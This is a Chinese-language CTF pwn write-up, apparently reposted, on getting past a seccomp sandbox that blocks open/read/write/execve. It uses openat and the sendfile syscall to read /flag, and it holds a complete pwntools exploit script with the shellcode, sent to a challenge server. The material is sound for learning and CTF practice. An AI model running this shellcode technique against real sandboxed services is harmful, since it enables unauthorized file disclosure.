【PWN】ORW沙箱绕过

admin 2024年9月19日13:12:07评论10 views字数 1321阅读4分24秒阅读模式

seccomp查看程序发现禁用了orw和execve

【PWN】ORW沙箱绕过

open被ban了可以用openat代替,write没了可以用puts代替,read可以用readv等代替,虽然比较麻烦就是了...

今天推荐另外一个系统调用sendfile,sendfile函数兼具了ORW中read和write的功能

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

sendfile是一个用于在文件描述符之间高效传输数据的系统调用,它在两个文件描述符之间传输数据而不需要在用户空间进行数据缓冲,从而提高性能。

out_fd表示的是目标文件描述符。数据将被写入到这个文件描述符,一般来是stdout,用于输出到屏幕,可以粗略理解为write的fd

in_fd是源文件描述符,数据将从这个文件描述符读取,可以粗略理解为read的fd为3的情况

offset就是从文件内容offset字节处开始读取

count就是读取的字节数n_bytes

搓一个汇编出来直接执行

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('challenge.basectf.fun'35776)
#p=process('./orz')
#p=gdb.debug('./orz','b main')
elf = ELF('./orz')
#libc=ELF('./libc.so.6')


def convert_str_asmencode(content: str):
    out = ""
    for i in content:
        out = hex(ord(i))[2:] + out
    out = "0x" + out
    return out #将str转换为十六进制数,并在开头补上"0x"


shellcode=f"""
    xor rsi,rsi;
    mov rbx,{convert_str_asmencode("/flag")};
    push rbx;
    mov rdx,0;   #设置oflag为0
    mov r10,0;
    mov rdi,3;   #文件描述符3
    mov rsi,rsp
    mov eax,257; #openat的系统调用号
    syscall;

    mov rsi,3;  #in_fd
    mov r10,50; #n_bytes
    xor rdx,rdx;
    mov rdi,rdx;
    inc rdi;    #out_fd
    mov eax,40; #sendfile的系统调用号
    syscall;

    mov rdi,0;
    mov rax,60; #exit
    syscall
    """


payload1 =asm(shellcode)
p.send(payload1)
p.interactive()

原文始发于微信公众号(智佳网络安全):【PWN】ORW沙箱绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日13:12:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【PWN】ORW沙箱绕过https://cn-sec.com/archives/3181654.html

发表评论

匿名网友 填写信息